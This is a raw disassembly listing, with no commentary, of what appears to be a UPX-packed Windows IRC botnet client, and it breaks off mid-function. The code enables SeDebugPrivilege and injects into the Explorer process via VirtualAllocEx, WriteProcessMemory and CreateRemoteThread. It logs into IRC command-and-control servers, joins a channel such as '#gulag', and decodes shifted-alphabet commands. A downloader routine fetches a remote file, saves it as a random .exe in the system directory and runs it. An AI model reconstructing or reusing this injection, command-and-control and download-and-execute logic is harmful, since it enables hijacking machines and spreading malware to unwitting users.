offset aAdvapi32 ; "advapi32" call dword_313010DC ; GetModuleHandleA mov esi, dword_313010D8 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31301C1C push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31301C1C push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31301C1C lea eax, [ebp+var_C] push eax push 20h call dword_313010D4 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31301C1C: ; CODE XREF: sub_31301B98+28j ; sub_31301B98+37j ... pop edi pop esi leave retn sub_31301B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301C20 proc near ; CODE XREF: UPX0:31302E0Fp var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31304FFC and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_313010DC ; GetModuleHandleA mov esi, dword_313010D8 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31301C67 loc_31301C63: ; CODE XREF: sub_31301C20+54j push 1 jmp short loc_31301CB8 ; --------------------------------------------------------------------------- loc_31301C67: ; CODE XREF: sub_31301C20+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31301C63 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31301128 ; FindWindowA test eax, eax jnz short loc_31301C95 call dword_3130112C ; GetForegroundWindow test eax, eax jnz short loc_31301C95 push 2 jmp short loc_31301CB8 ; --------------------------------------------------------------------------- loc_31301C95: ; CODE XREF: sub_31301C20+65j ; sub_31301C20+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31301130 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_313010E4 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31301CBB push 3 loc_31301CB8: ; CODE XREF: sub_31301C20+45j ; sub_31301C20+73j pop eax jmp short loc_31301D26 ; --------------------------------------------------------------------------- loc_31301CBB: ; CODE XREF: sub_31301C20+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_313010A0 test eax, eax jz short loc_31301D19 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_313010E0 ; WriteProcessMemory push dword_31304FD0 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31301D05 push eax call esi ; CloseHandle jmp short loc_31301D20 ; --------------------------------------------------------------------------- loc_31301D05: ; CODE XREF: sub_31301C20+DEj push offset aUterm_9 ; "uterm_9" call sub_31302A9B pop ecx mov [ebp+var_4], 5 jmp short loc_31301D20 ; --------------------------------------------------------------------------- loc_31301D19: ; CODE XREF: sub_31301C20+B2j mov [ebp+var_4], 4 loc_31301D20: ; CODE XREF: sub_31301C20+E3j ; sub_31301C20+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31301D26: ; CODE XREF: sub_31301C20+99j pop edi pop esi pop ebx leave retn sub_31301C20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301D2B proc near ; CODE XREF: sub_31301DB0+25p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31301D5E add ebx, 1Ah loc_31301D5E: ; CODE XREF: sub_31301D2B+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31301110 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31301D88 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31301DAB ; --------------------------------------------------------------------------- loc_31301D88: ; CODE XREF: sub_31301D2B+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31301DA8 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31301DAB ; --------------------------------------------------------------------------- loc_31301DA8: ; CODE XREF: sub_31301D2B+68j mov al, [ebp+arg_0] loc_31301DAB: ; CODE XREF: sub_31301D2B+5Bj ; sub_31301D2B+7Bj pop edi pop esi pop ebx leave retn sub_31301D2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31301DB0 proc near ; CODE XREF: sub_31302755+F8p ; sub_31302755+139p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_31301E0B mov edi, [ebp+arg_0] push ebx loc_31301DC5: ; CODE XREF: sub_31301DB0+56j mov bl, al inc [ebp+arg_4] mov eax, esi mov byte ptr [ebp+arg_0], bl neg eax push eax push [ebp+arg_0] call sub_31301D2B mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_31301DEF cmp bl, 7Ah jg short loc_31301DEF movsx esi, bl sub esi, 61h loc_31301DEF: ; CODE XREF: sub_31301DB0+32j ; sub_31301DB0+37j cmp bl, 41h jl short loc_31301DFF cmp bl, 5Ah jg short loc_31301DFF movsx esi, bl sub esi, 41h loc_31301DFF: ; CODE XREF: sub_31301DB0+42j ; sub_31301DB0+47j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_31301DC5 pop ebx jmp short loc_31301E0E ; --------------------------------------------------------------------------- loc_31301E0B: ; CODE XREF: sub_31301DB0+Fj mov edi, [ebp+arg_0] loc_31301E0E: ; CODE XREF: sub_31301DB0+59j and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31301DB0 endp ; =============== S U B R O U T I N E ======================================= sub_31301E15 proc near ; CODE XREF: UPX0:31302498p push esi mov esi, ecx push 20001h call sub_31303717 mov [esi+2Ch], eax pop ecx mov eax, esi pop esi retn sub_31301E15 endp ; =============== S U B R O U T I N E ======================================= sub_31301E2A proc near ; CODE XREF: UPX0:31302501p ; UPX0:31302554p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push 27h push [esp+8+arg_0] lea eax, [esi+4] push eax call dword_313010AC ; lstrcpyn mov eax, [esp+4+arg_4] mov [esi+58h], eax pop esi retn 8 sub_31301E2A endp ; --------------------------------------------------------------------------- loc_31301E48: ; CODE XREF: UPX0:313037C6j push esi mov esi, ecx lea eax, [esi+4] push eax call sub_3130372B push dword ptr [esi+2Ch] call sub_3130372B pop ecx pop ecx pop esi retn ; =============== S U B R O U T I N E ======================================= sub_31301E60 proc near ; CODE XREF: UPX0:3130251Fp ; UPX0:31302572p var_138 = byte ptr -138h var_12C = byte ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 138h push ebx push ebp push esi xor ebx, ebx push edi push ebx push 1 mov esi, ecx push 2 call dword_31301178 ; socket mov [esi+5Ch], eax lea eax, [esi+4] push eax call sub_31302B6B mov [esi+64h], eax mov ax, [esi+58h] pop ecx lea edi, [esi+60h] push eax mov word ptr [edi], 2 call dword_3130117C ; htons push 10h push edi push dword ptr [esi+5Ch] mov [esi+62h], ax call dword_31301170 ; connect test eax, eax jnz loc_31302065 push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31302065 mov ecx, [esi+2Ch] and [ecx+eax], bl push dword ptr [esi+2Ch] mov ecx, esi call sub_313020A2 lea eax, [esp+148h+var_138] push 9 push eax call sub_31302AE5 mov ebp, dword_31301134 lea eax, [esp+150h+var_138] push eax lea eax, [esp+154h+var_12C] push offset aPassS ; "PASS %s\r\n" push eax call ebp ; wsprintfA mov edi, dword_313010D0 add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push ebx mov ebx, dword_313010CC push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push [esp+148h+arg_0] lea eax, [esp+14Ch+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 0Ch push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31302065 mov ecx, [esi+2Ch] push 64h and byte ptr [ecx+eax], 0 call edi ; Sleep loc_31301F89: ; CODE XREF: sub_31301E60+1ADj push dword ptr [esi+2Ch] mov ecx, esi call sub_313020A2 push offset aAlready ; "already" push dword ptr [esi+2Ch] call dword_3130110C ; strstr pop ecx test eax, eax pop ecx jz short loc_31302012 push [esp+148h+arg_4] push [esp+14Ch+arg_0] call sub_31302AE5 push [esp+150h+arg_0] lea eax, [esp+154h+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31302065 mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 jmp loc_31301F89 ; --------------------------------------------------------------------------- loc_31302012: ; CODE XREF: sub_31301E60+145j push [esp+148h+arg_8] lea eax, [esp+14Ch+var_12C] push [esp+14Ch+arg_0] push offset aUserS8S ; "USER %s 8 * :%s\r\n" push eax call ebp ; wsprintfA add esp, 10h push 64h call edi ; Sleep xor edi, edi lea eax, [esp+148h+var_12C] push edi push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push edi push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_31302073 loc_31302065: ; CODE XREF: sub_31301E60+4Ej ; sub_31301E60+6Bj ... push dword ptr [esi+5Ch] call dword_3130118C ; closesocket push 1 pop eax jmp short loc_31302095 ; --------------------------------------------------------------------------- loc_31302073: ; CODE XREF: sub_31301E60+203j mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 push dword ptr [esi+2Ch] mov ecx, esi call sub_313020A2 mov [esi+180h], edi mov [esi+7Ch], edi mov [esi+70h], edi mov [esi+74h], edi xor eax, eax loc_31302095: ; CODE XREF: sub_31301E60+211j pop edi pop esi pop ebp pop ebx add esp, 138h retn 0Ch sub_31301E60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313020A2 proc near ; CODE XREF: sub_31301E60+7Cp ; sub_31301E60+12Ep ... var_190 = byte ptr -190h var_64 = byte ptr -64h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi push offset aPing ; "PING" push [ebp+arg_0] mov ebx, ecx call dword_3130110C ; strstr pop ecx test eax, eax pop ecx jz short loc_3130211C mov esi, dword_313010CC lea edi, [eax+4] push edi call esi ; lstrlen dec eax cmp eax, 63h jle short loc_313020DB push 1 pop eax jmp short loc_3130211E ; --------------------------------------------------------------------------- loc_313020DB: ; CODE XREF: sub_313020A2+32j push eax lea eax, [ebp+var_64] push edi push eax call dword_313010AC ; lstrcpyn lea eax, [ebp+var_64] push eax lea eax, [ebp+var_190] push offset aPongS ; "PONG%s\r\n" push eax call dword_31301134 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_190] push 0 push eax call esi ; lstrlen push eax lea eax, [ebp+var_190] push eax push dword ptr [ebx+5Ch] call dword_31301194 ; send loc_3130211C: ; CODE XREF: sub_313020A2+20j xor eax, eax loc_3130211E: ; CODE XREF: sub_313020A2+37j pop edi pop esi pop ebx leave retn 4 sub_313020A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302125 proc near ; CODE XREF: UPX0:313025C0p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12C] mov esi, ecx push offset aJoinS ; "JOIN %s\r\n" push eax call dword_31301134 ; wsprintfA mov edi, dword_313010D0 add esp, 0Ch push 64h call edi ; Sleep lea eax, [ebp+var_12C] push 0 push eax call dword_313010CC ; lstrlen push eax lea eax, [ebp+var_12C] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push 64h call edi ; Sleep push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv mov ecx, [esi+2Ch] mov [esi], eax and byte ptr [ecx+eax], 0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_313021EE test eax, eax jz short loc_313021EE push 64h call edi ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_313020A2 mov edi, dword_3130110C push offset a451 ; "451" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_313021C7 push 3 jmp short loc_313021F0 ; --------------------------------------------------------------------------- loc_313021C7: ; CODE XREF: sub_31302125+9Cj push offset aPing ; "PING" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_313021DB push 4 jmp short loc_313021F0 ; --------------------------------------------------------------------------- loc_313021DB: ; CODE XREF: sub_31302125+B0j push 23h add esi, 30h push [ebp+arg_0] push esi call dword_313010AC ; lstrcpyn xor eax, eax jmp short loc_313021F1 ; --------------------------------------------------------------------------- loc_313021EE: ; CODE XREF: sub_31302125+74j ; sub_31302125+78j push 2 loc_313021F0: ; CODE XREF: sub_31302125+A0j ; sub_31302125+B4j pop eax loc_313021F1: ; CODE XREF: sub_31302125+C7j pop edi pop esi leave retn 4 sub_31302125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313021F7 proc near ; CODE XREF: sub_31302260+72p ; UPX0:3130261Cp var_14C = byte ptr -14Ch var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 14Ch push esi mov esi, ecx call dword_31301120 ; rand sub eax, 3 and eax, 7 push eax lea eax, [ebp+var_20] push eax call sub_31302AE5 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14C] push offset aQuitS ; "QUIT %s\r\n" push eax call dword_31301134 ; wsprintfA add esp, 14h lea eax, [ebp+var_14C] push 0 push eax call dword_313010CC ; lstrlen push eax lea eax, [ebp+var_14C] push eax push dword ptr [esi+5Ch] call dword_31301194 ; send push dword ptr [esi+5Ch] call dword_3130118C ; closesocket xor eax, eax pop esi leave retn sub_313021F7 endp ; =============== S U B R O U T I N E ======================================= sub_31302260 proc near ; CODE XREF: UPX0:31302604p mov eax, offset sub_313037B4 call sub_31303790 sub esp, 110h push ebx push esi push edi mov edi, dword_313010E8 mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi call edi ; GetTickCount mov [ebp-18h], eax mov eax, [esi+5Ch] mov dword ptr [ebp-11Ch], 1 mov [ebp-118h], eax xor ebx, ebx loc_3130229B: ; CODE XREF: sub_31302260+DEj call sub_31302BE5 test eax, eax jz short loc_313022D7 push ebx push ebx lea eax, [ebp-11Ch] push ebx push eax push 1 call dword_31301168 ; select cmp eax, 0FFFFFFFFh jz short loc_313022D7 mov [ebp-4], ebx call edi ; GetTickCount mov ecx, [ebp+8] sub eax, [ebp-18h] imul ecx, 0EA60h cmp eax, ecx jbe short loc_313022EA mov ecx, esi call sub_313021F7 loc_313022D7: ; CODE XREF: sub_31302260+42j ; sub_31302260+59j ... xor eax, eax loc_313022D9: ; CODE XREF: sub_31302260+F8j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_313022EA: ; CODE XREF: sub_31302260+6Ej push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31301190 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31302355 mov ecx, [esi+2Ch] push 64h mov [eax+ecx], bl call dword_313010D0 ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_313020A2 push dword ptr [esi+2Ch] mov ecx, esi call sub_31302755 cmp eax, ebx jnz short loc_313022D7 or dword ptr [ebp-4], 0FFFFFFFFh call sub_31302BE5 test eax, eax jz short loc_313022D7 push 64h call dword_313010D0 ; Sleep jmp loc_3130229B ; --------------------------------------------------------------------------- loc_31302343: ; DATA XREF: UPX0:3130382Co mov eax, [ebp-14h] push dword ptr [eax+5Ch] call dword_3130118C ; closesocket mov eax, offset loc_31302355 retn ; --------------------------------------------------------------------------- loc_31302355: ; CODE XREF: sub_31302260+A1j ; DATA XREF: sub_31302260+EFo push 1 pop eax jmp loc_313022D9 sub_31302260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3130235D proc near ; CODE XREF: sub_31302755+9Dp ; sub_31302755+2BAp var_12C = byte ptr -12Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi mov esi, dword_313010CC push edi push [ebp+arg_0] mov edi, ecx call esi ; lstrlen push [ebp+arg_4] mov ebx, eax call esi ; lstrlen add ebx, eax cmp ebx, 10Eh jle short loc_3130238C push 1 pop eax jmp short loc_313023CD ; --------------------------------------------------------------------------- loc_3130238C: ; CODE XREF: sub_3130235D+28j push [ebp+arg_4] lea eax, [ebp+var_12C] push [ebp+arg_0] push offset aPrivmsgSS ; "PRIVMSG %s %s\r\n" push eax call dword_31301134 ; wsprintfA add esp, 10h push 64h call dword_313010D0 ; Sleep lea eax, [ebp+var_12C] push 0 push eax call esi ; lstrlen push eax lea eax, [ebp+var_12C] push eax push dword ptr [edi+5Ch] call dword_31301194 ; send xor eax, eax loc_313023CD: ; CODE XREF: sub_3130235D+2Dj pop edi pop esi pop ebx leave retn 8 sub_3130235D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313023D4 proc near ; CODE XREF: UPX0:313024AEp var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+var_10] push eax call dword_3130109C ; GetSystemTime movzx eax, [ebp+var_10] movzx ecx, [ebp+var_E] lea eax, [eax+eax*2] add eax, ecx movzx ecx, [ebp+var_A] add eax, ecx push eax call dword_31301100 ; srand mov eax, [ebp+arg_0] push 7 mov byte ptr [eax], 23h inc eax push eax call sub_31302AE5 push 8 push [ebp+arg_4] call sub_31302AE5 add esp, 14h call dword_31301120 ; rand push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+arg_8] mov [eax], edx call sub_31302A6D leave retn sub_313023D4 endp ; --------------------------------------------------------------------------- loc_31302432: ; DATA XREF: sub_31302E37+77o mov eax, offset loc_313037CB call sub_31303790 sub esp, 1E4h push ebx push esi xor ebx, ebx push edi mov dword_31304F98, ebx call sub_31302A6D mov esi, dword_31301120 call esi ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp-4Ch] add edx, ecx push edx push eax call sub_31302AE5 cmp ds:dword_31305008, ebx mov edi, dword_313010EC pop ecx pop ecx jz short loc_31302487 lea eax, [ebp-4Ch] push offset a_ ; "_" push eax call edi ; lstrcat loc_31302487: ; CODE XREF: UPX0:3130247Aj lea eax, [ebp-4Ch] push offset a9 ; "9" push eax call edi ; lstrcat lea ecx, [ebp-1F0h] call sub_31301E15 mov [ebp-4], ebx loc_313024A0: ; CODE XREF: UPX0:31302610j ; UPX0:31302636j push offset dword_31304F9C lea eax, [ebp-18h] push offset dword_31304FA0 push eax call sub_313023D4 add esp, 0Ch loc_313024B6: ; CODE XREF: UPX0:313024CAj call sub_31302BE5 test eax, eax jnz short loc_313024CC push 3E8h call dword_313010D0 ; Sleep jmp short loc_313024B6 ; --------------------------------------------------------------------------- loc_313024CC: ; CODE XREF: UPX0:313024BDj xor ebx, ebx call esi ; rand push 7 cdq pop ecx idiv ecx lea eax, [ebp-6Ch] add edx, 5 push edx push eax call sub_31302AE5 pop ecx xor edi, edi pop ecx loc_313024E7: ; CODE XREF: UPX0:3130252Cj push 1A0Bh mov eax, edi push 2 cdq pop ecx idiv ecx lea ecx, [ebp-1F0h] push off_31304BC0[edx*4] call sub_31301E2A lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_313010CC ; lstrlen push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-1F0h] call sub_31301E60 test eax, eax jz short loc_31302583 inc edi cmp edi, 8 jl short loc_313024E7 xor edi, edi loc_31302530: ; CODE XREF: UPX0:3130257Fj call sub_31302BE5 test eax, eax jz short loc_31302591 push 1A0Bh call esi ; rand push 0Dh xor edx, edx pop ecx div ecx lea ecx, [ebp-1F0h] push off_31304BC0[edx*4] call sub_31301E2A lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_313010CC ; lstrlen push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-1F0h] call sub_31301E60 test eax, eax jz short loc_3130258E inc edi cmp edi, 34h jb short loc_31302530 jmp short loc_31302591 ; --------------------------------------------------------------------------- loc_31302583: ; CODE XREF: UPX0:31302526j push 1 pop ebx mov dword_31304F98, ebx jmp short loc_3130259A ; --------------------------------------------------------------------------- loc_3130258E: ; CODE XREF: UPX0:31302579j push 1 pop ebx loc_31302591: ; CODE XREF: UPX0:31302537j ; UPX0:31302581j cmp dword_31304F98, 0 jz short loc_313025A9 loc_3130259A: ; CODE XREF: UPX0:3130258Cj lea eax, [ebp-18h] push offset aGulag ; "#gulag" push eax call dword_31301090 ; lstrcpy loc_313025A9: ; CODE XREF: UPX0:31302598j test ebx, ebx jz short loc_31302621 call sub_31302BE5 test eax, eax jz short loc_31302621 loc_313025B6: ; CODE XREF: UPX0:313025DBj lea eax, [ebp-18h] lea ecx, [ebp-1F0h] push eax call sub_31302125 test eax, eax jz short loc_313025DD push 3E8h call dword_313010D0 ; Sleep call sub_31302BE5 test eax, eax jnz short loc_313025B6 loc_313025DD: ; CODE XREF: UPX0:313025C7j cmp dword_31304F98, 0 jz short loc_313025ED mov edx, 0A8C0h jmp short loc_313025FD ; --------------------------------------------------------------------------- loc_313025ED: ; CODE XREF: UPX0:313025E4j call esi ; rand cdq mov ecx, 1F4h idiv ecx add edx, 578h loc_313025FD: ; CODE XREF: UPX0:313025EBj push edx lea ecx, [ebp-1F0h] call sub_31302260 call sub_31302BE5 test eax, eax jz loc_313024A0 lea ecx, [ebp-1F0h] call sub_313021F7 loc_31302621: ; CODE XREF: UPX0:313025ABj ; UPX0:313025B4j call esi ; rand push 0Ah cdq pop ecx idiv ecx imul edx, 0EA60h push edx call dword_313010D0 ; Sleep jmp loc_313024A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3130263B proc near ; CODE XREF: sub_31302755+5Fp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31301140 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_31302666 push 1 jmp loc_313026FC ; --------------------------------------------------------------------------- loc_31302666: ; CODE XREF: sub_3130263B+22j lea eax, [ebp+var_110] push 104h push eax call dword_313010B4 ; GetSystemDirectoryA mov edi, dword_313010EC lea eax, [ebp+var_110] push offset asc_31304DDC ; "\\" push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_313010CC ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_31302AE5 pop ecx lea eax, [ebp+var_110] pop ecx push offset a_exe ; ".exe" push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_313010A8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_313026DC push 2 jmp short loc_313026FC ; --------------------------------------------------------------------------- loc_313026DC: ; CODE XREF: sub_3130263B+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31301148 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_313026FF push [ebp+var_4] call dword_313010A0 ; CloseHandle push 3 loc_313026FC: ; CODE XREF: sub_3130263B+26j ; sub_3130263B+9Fj pop eax jmp short loc_31302750 ; --------------------------------------------------------------------------- loc_313026FF: ; CODE XREF: sub_3130263B+B4j mov edi, 100000h push edi call sub_31303717 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31301144 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_313010A4 ; WriteFile push [ebp+var_4] call dword_313010A0 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31302B15 push ebx call sub_3130372B add esp, 0Ch xor eax, eax loc_31302750: ; CODE XREF: sub_3130263B+C2j pop edi pop esi pop ebx leave retn sub_3130263B endp ; =============== S U B R O U T I N E ======================================= sub_31302755 proc near ; CODE XREF: sub_31302260+C0p var_3CC = dword ptr -3CCh var_3C8 = byte ptr -3C8h var_364 = byte ptr -364h var_300 = byte ptr -300h var_200 = byte ptr -200h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 4 sub esp, 3CCh push ebx push ebp push esi push edi push offset dword_31304FA0 mov esi, ecx push [esp+3E0h+arg_0] call dword_3130110C ; strstr mov edi, dword_313010E8 pop ecx mov ebx, eax pop ecx mov [esp+3DCh+var_3CC], ebx call edi ; GetTickCount sub eax, [esi+70h] cmp eax, 927C0h jbe short loc_31302794 and dword ptr [esi+180h], 0 loc_31302794: ; CODE XREF: sub_31302755+36j cmp dword ptr [esi+7Ch], 0 jz short loc_313027F7 call edi ; GetTickCount mov ecx, [esi+78h] sub eax, [esi+74h] imul ecx, 3E8h cmp eax, ecx jbe short loc_313027F7 lea eax, [esp+3DCh+var_200] push eax call sub_3130263B test eax, eax pop ecx jnz short loc_313027F7 call edi ; GetTickCount push dword ptr [esi+78h] and dword ptr [esi+7Ch], 0 mov [esi+70h], eax lea eax, [esp+3E0h+var_3C8] push offset a1D ; "-1,%d" push eax mov dword ptr [esi+180h], 1 call dword_31301134 ; wsprintfA add esp, 0Ch lea eax, [esp+3DCh+var_3C8] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_3130235D loc_313027F7: ; CODE XREF: sub_31302755+43j ; sub_31302755+55j ... test ebx, ebx jz loc_31302A37 push ebx call dword_313010CC ; lstrlen cmp eax, 0Ah jle loc_31302A37 mov ebp, dword_31301110 add ebx, 8 push 7Ch push ebx call ebp ; strchr mov edi, eax pop ecx test edi, edi pop ecx jz loc_31302A37 and byte ptr [edi], 0 push ebx call dword_313010CC ; lstrlen cmp eax, 100h jge loc_31302A5E push dword_31304F9C lea eax, [esp+3E0h+var_300] push ebx push eax call sub_31301DB0 lea ebx, [edi+1] push 7Ch push ebx mov byte ptr [edi], 7Ch call ebp ; strchr mov edi, eax add esp, 14h test edi, edi jz loc_31302A37 and byte ptr [edi], 0 push ebx call dword_313010CC ; lstrlen cmp eax, 100h jge loc_31302A5E push dword_31304F9C lea eax, [esp+3E0h+var_200] push ebx push eax call sub_31301DB0 add esp, 0Ch lea eax, [esp+3DCh+var_300] push offset aE ; "e" push eax call dword_31301088 ; lstrcmp mov ebx, dword_31301090 test eax, eax jnz loc_3130299E lea eax, [esp+3DCh+var_200] push eax call dword_313010CC ; lstrlen cmp eax, 0FFh jge loc_3130299E cmp dword ptr [esi+180h], 0 jnz loc_3130299E cmp dword ptr [esi+7Ch], 0 jnz loc_3130299E lea eax, [edi+1] push 7Ch push eax call ebp ; strchr mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_3130297F and byte ptr [ebp+0], 0 lea eax, [edi+1] push eax call dword_313010CC ; lstrlen 